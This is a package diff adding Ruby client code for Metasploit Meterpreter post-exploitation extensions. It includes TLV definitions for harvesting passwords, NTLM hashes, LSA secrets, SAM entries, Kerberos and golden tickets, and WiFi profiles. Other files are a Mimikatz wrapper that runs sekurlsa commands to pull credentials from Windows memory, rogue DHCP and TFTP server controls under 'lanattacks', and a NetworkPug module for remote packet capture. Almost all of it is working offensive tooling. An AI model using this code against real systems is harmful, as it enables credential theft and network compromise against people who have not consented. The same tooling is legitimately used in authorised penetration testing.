rex 1.0.2 → 2.0.2

data/lib/rex/post/meterpreter/extensions/kiwi/tlv.rb

@@ -0,0 +1,76 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Kiwi
+
+TLV_TYPE_KIWI_PWD_ID               = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 1)
+TLV_TYPE_KIWI_PWD_RESULT           = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 2)
+TLV_TYPE_KIWI_PWD_USERNAME         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
+TLV_TYPE_KIWI_PWD_DOMAIN           = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 4)
+TLV_TYPE_KIWI_PWD_PASSWORD         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
+TLV_TYPE_KIWI_PWD_AUTH_HI          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 6)
+TLV_TYPE_KIWI_PWD_AUTH_LO          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 7)
+TLV_TYPE_KIWI_PWD_LMHASH           = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
+TLV_TYPE_KIWI_PWD_NTLMHASH         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
+
+TLV_TYPE_KIWI_GOLD_USER            = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
+TLV_TYPE_KIWI_GOLD_DOMAIN          = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 11)
+TLV_TYPE_KIWI_GOLD_SID             = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 12)
+TLV_TYPE_KIWI_GOLD_TGT             = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 13)
+TLV_TYPE_KIWI_GOLD_USERID          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 14)
+TLV_TYPE_KIWI_GOLD_GROUPID         = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 15)
+
+TLV_TYPE_KIWI_LSA_VER_MAJ          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 20)
+TLV_TYPE_KIWI_LSA_VER_MIN          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 21)
+TLV_TYPE_KIWI_LSA_COMPNAME         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 22)
+TLV_TYPE_KIWI_LSA_SYSKEY           = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 23)
+TLV_TYPE_KIWI_LSA_KEYCOUNT         = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 24)
+TLV_TYPE_KIWI_LSA_KEYID            = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 25)
+TLV_TYPE_KIWI_LSA_KEYIDX           = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 26)
+TLV_TYPE_KIWI_LSA_KEYVALUE         = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 27)
+TLV_TYPE_KIWI_LSA_NT6KEY           = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 28)
+TLV_TYPE_KIWI_LSA_NT5KEY           = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 29)
+
+TLV_TYPE_KIWI_LSA_SECRET           = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 35)
+TLV_TYPE_KIWI_LSA_SECRET_NAME      = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 36)
+TLV_TYPE_KIWI_LSA_SECRET_SERV      = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 37)
+TLV_TYPE_KIWI_LSA_SECRET_NTLM      = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 38)
+TLV_TYPE_KIWI_LSA_SECRET_CURR      = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 39)
+TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW  = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 40)
+TLV_TYPE_KIWI_LSA_SECRET_OLD       = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 41)
+TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW   = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 42)
+
+TLV_TYPE_KIWI_LSA_SAM              = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 50)
+TLV_TYPE_KIWI_LSA_SAM_RID          = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 51)
+TLV_TYPE_KIWI_LSA_SAM_USER         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 52)
+TLV_TYPE_KIWI_LSA_SAM_LMHASH       = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 53)
+TLV_TYPE_KIWI_LSA_SAM_NTLMHASH     = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 54)
+
+TLV_TYPE_KIWI_KERB_EXPORT          = TLV_META_TYPE_BOOL   | (TLV_EXTENSIONS + 60)
+TLV_TYPE_KIWI_KERB_TKT             = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 61)
+TLV_TYPE_KIWI_KERB_TKT_ENCTYPE     = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 62)
+TLV_TYPE_KIWI_KERB_TKT_START       = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 63)
+TLV_TYPE_KIWI_KERB_TKT_END         = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 64)
+TLV_TYPE_KIWI_KERB_TKT_MAXRENEW    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 65)
+TLV_TYPE_KIWI_KERB_TKT_SERVERNAME  = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 66)
+TLV_TYPE_KIWI_KERB_TKT_SERVERREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 67)
+TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME  = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 68)
+TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 69)
+TLV_TYPE_KIWI_KERB_TKT_FLAGS       = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 70)
+TLV_TYPE_KIWI_KERB_TKT_RAW         = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 71)
+
+TLV_TYPE_KIWI_WIFI_INT             = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 75)
+TLV_TYPE_KIWI_WIFI_INT_GUID        = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 76)
+TLV_TYPE_KIWI_WIFI_INT_STATE       = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 77)
+TLV_TYPE_KIWI_WIFI_INT_DESC        = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 78)
+TLV_TYPE_KIWI_WIFI_PROFILE         = TLV_META_TYPE_GROUP  | (TLV_EXTENSIONS + 79)
+TLV_TYPE_KIWI_WIFI_PROFILE_NAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 80)
+TLV_TYPE_KIWI_WIFI_PROFILE_XML     = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 81)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp.rb

@@ -0,0 +1,78 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/lanattacks/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Lanattacks
+module Dhcp
+
+###
+#
+# DHCP Server functionality
+#
+###
+class Dhcp
+
+  def initialize(client)
+    @client = client
+  end
+
+  def start
+    client.send_request(Packet.create_request('lanattacks_start_dhcp'))
+    true
+  end
+
+  def reset
+    client.send_request(Packet.create_request('lanattacks_reset_dhcp'))
+    true
+  end
+
+  def set_option(name, value)
+    request = Packet.create_request('lanattacks_set_dhcp_option')
+    request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, name)
+    request.add_tlv(TLV_TYPE_LANATTACKS_OPTION, value)
+    client.send_request(request)
+    true
+  end
+
+  def load_options(datastore)
+    # TODO: change this so that all of the options are set in a single
+    # payload rather than firing off lots of calls separately
+    datastore.each do |name, value|
+      if Regexp.new('DHCPIPSTART|DHCPIPEND|NETMASK|ROUTER|DNSSERVER|BROADCAST|'+
+          'SERVEONCE|PXE|HOSTNAME|HOSTSTART|FILENAME|PXECONF|SRVHOST') =~ name
+        set_option(name, value)
+      end
+    end
+  end
+
+  def stop
+    client.send_request(Packet.create_request('lanattacks_stop_dhcp'))
+    true
+  end
+
+  def log
+    response = client.send_request(Packet.create_request('lanattacks_dhcp_log'))
+    entries = []
+    if( response.result == 0 )
+      log = response.get_tlv_value( TLV_TYPE_LANATTACKS_RAW )
+      while log.length > 0
+        mac = log.slice!(0..5)
+        ip = log.slice!(0..3)
+        entries << {
+         :mac => mac,
+         :ip  => ip
+        }
+      end
+    end
+    entries
+  end
+
+  attr_accessor :client
+
+end
+
+end; end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/lanattacks/lanattacks.rb

@@ -0,0 +1,43 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/lanattacks/tlv'
+require 'rex/post/meterpreter/extensions/lanattacks/dhcp/dhcp'
+require 'rex/post/meterpreter/extensions/lanattacks/tftp/tftp'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Lanattacks
+
+###
+#
+# This meterpreter extension can currently run DHCP and TFTP servers
+#
+###
+class Lanattacks < Extension
+
+  #
+  # Initializes an instance of the lanattacks extension.
+  #
+  def initialize(client)
+    super(client, 'lanattacks')
+
+    # Alias the following things on the client object so that they
+    # can be directly referenced
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'lanattacks',
+          'ext'  => ObjectAliases.new(
+            {
+              'dhcp' => Rex::Post::Meterpreter::Extensions::Lanattacks::Dhcp::Dhcp.new(client),
+              'tftp' => Rex::Post::Meterpreter::Extensions::Lanattacks::Tftp::Tftp.new(client)
+            }),
+        }
+      ])
+  end
+
+end
+
+end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/lanattacks/tftp/tftp.rb

@@ -0,0 +1,49 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/lanattacks/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Lanattacks
+module Tftp
+
+###
+#
+# TFTP Server functionality
+#
+###
+class Tftp
+
+  def initialize(client)
+    @client = client
+  end
+
+  def start
+    client.send_request(Packet.create_request('lanattacks_start_tftp'))
+    true
+  end
+
+  def reset
+    client.send_request(Packet.create_request('lanattacks_reset_tftp'))
+    true
+  end
+
+  def add_file(filename, data)
+    request = Packet.create_request('lanattacks_add_tftp_file')
+    request.add_tlv(TLV_TYPE_LANATTACKS_OPTION_NAME, filename)
+    request.add_tlv(TLV_TYPE_LANATTACKS_RAW, data, false, true) #compress it
+    client.send_request(request)
+    true
+  end
+
+  def stop
+    client.send_request(Packet.create_request('lanattacks_stop_tftp'))
+    true
+  end
+
+  attr_accessor :client
+end
+
+end; end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/lanattacks/tlv.rb

@@ -0,0 +1,17 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Lanattacks
+
+TLV_TYPE_LANATTACKS_OPTION      = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 1)
+TLV_TYPE_LANATTACKS_OPTION_NAME = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
+TLV_TYPE_LANATTACKS_UINT        = TLV_META_TYPE_UINT   | (TLV_EXTENSIONS + 3)
+TLV_TYPE_LANATTACKS_RAW         = TLV_META_TYPE_RAW    | (TLV_EXTENSIONS + 4)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/mimikatz/mimikatz.rb

@@ -0,0 +1,128 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/mimikatz/tlv'
+require 'csv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Mimikatz
+
+###
+#
+# Mimikatz extension - grabs credentials from windows memory.
+#
+# Benjamin DELPY `gentilkiwi`
+# http://blog.gentilkiwi.com/mimikatz
+#
+# extension converted by Ben Campbell (Meatballs)
+###
+
+class Mimikatz < Extension
+
+  def initialize(client)
+    super(client, 'mimikatz')
+
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'mimikatz',
+          'ext'  => self
+        },
+      ])
+  end
+
+  def send_custom_command_raw(function, args=[])
+    request = Packet.create_request('mimikatz_custom_command')
+    request.add_tlv(TLV_TYPE_MIMIKATZ_FUNCTION, function)
+    args.each do |a|
+      request.add_tlv(TLV_TYPE_MIMIKATZ_ARGUMENT, a)
+    end
+    response = client.send_request(request)
+    return response.get_tlv_value(TLV_TYPE_MIMIKATZ_RESULT)
+  end
+
+  def send_custom_command(function, args=[])
+    return Rex::Text.to_ascii(send_custom_command_raw(function, args))
+  end
+
+  def parse_creds_result(result)
+    details = CSV.parse(result)
+    accounts  =  []
+    details.each do |acc|
+      account = {
+        :authid => acc[0],
+        :package => acc[1],
+        :user => acc[2],
+        :domain => acc[3],
+        :password => acc[4]
+      }
+      accounts << account
+    end
+    return accounts
+  end
+
+  def parse_ssp_result(result)
+    details = CSV.parse(result)
+    accounts = []
+
+    return accounts unless details
+    details.each do |acc|
+      next unless acc.length == 5
+      ssps = acc[4].split(' }')
+      next unless ssps
+      ssps.each do |ssp|
+        next unless ssp
+        s_acc = ssp.split(' ; ')
+        next unless s_acc
+        user = s_acc[0].split('{ ')[1]
+        next unless user
+        account = {
+          :authid => acc[0],
+          :package => acc[1],
+          :user => user,
+          :domain => s_acc[1],
+          :password => s_acc[2],
+          :orig_user => acc[2],
+          :orig_domain => acc[3]
+        }
+        accounts << account
+      end
+    end
+    return accounts
+  end
+
+  def wdigest
+    result = send_custom_command('sekurlsa::wdigest')
+    return parse_creds_result(result)
+  end
+
+  def msv
+    result = send_custom_command('sekurlsa::msv')
+    return parse_creds_result(result)
+  end
+
+  def livessp
+    result = send_custom_command('sekurlsa::livessp')
+    return parse_creds_result(result)
+  end
+
+  def ssp
+    result = send_custom_command('sekurlsa::ssp')
+    return parse_ssp_result(result)
+  end
+
+  def tspkg
+    result = send_custom_command('sekurlsa::tspkg')
+    return parse_creds_result(result)
+  end
+
+  def kerberos
+    result = send_custom_command('sekurlsa::kerberos')
+    return parse_creds_result(result)
+  end
+end
+
+end; end; end; end; end
+

data/lib/rex/post/meterpreter/extensions/mimikatz/tlv.rb

@@ -0,0 +1,16 @@
+# -*- coding: binary -*-
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module Mimikatz
+
+TLV_TYPE_MIMIKATZ_RESULT	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 1)
+TLV_TYPE_MIMIKATZ_FUNCTION	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
+TLV_TYPE_MIMIKATZ_ARGUMENT	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
+
+end
+end
+end
+end
+end

data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb

@@ -0,0 +1,57 @@
+# -*- coding: binary -*-
+
+require 'rex/post/meterpreter/extensions/networkpug/tlv'
+
+module Rex
+module Post
+module Meterpreter
+module Extensions
+module NetworkPug
+
+# NetworkPug implements a remote packet recieve/send on a network interface
+# on the remote machine
+
+class NetworkPug < Extension
+
+  def initialize(client)
+    super(client, 'networkpug')
+
+    client.register_extension_aliases(
+      [
+        {
+          'name' => 'networkpug',
+          'ext'  => self
+        },
+      ])
+  end
+
+  def networkpug_start(interface, filter)
+    request = Packet.create_request('networkpug_start')
+    request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
+    request.add_tlv(TLV_TYPE_NETWORKPUG_FILTER, filter) if(filter and filter != "")
+    response = client.send_request(request)
+
+    channel = nil
+    channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
+
+    if(channel_id)
+      channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(
+        client,
+        channel_id,
+        "networkpug_interface",
+        CHANNEL_FLAG_SYNCHRONOUS
+      )
+    end
+
+    return response, channel
+  end
+
+  def networkpug_stop(interface)
+    request = Packet.create_request('networkpug_stop')
+    request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
+    response = client.send_request(request)
+  end
+
+end
+
+end; end; end; end; end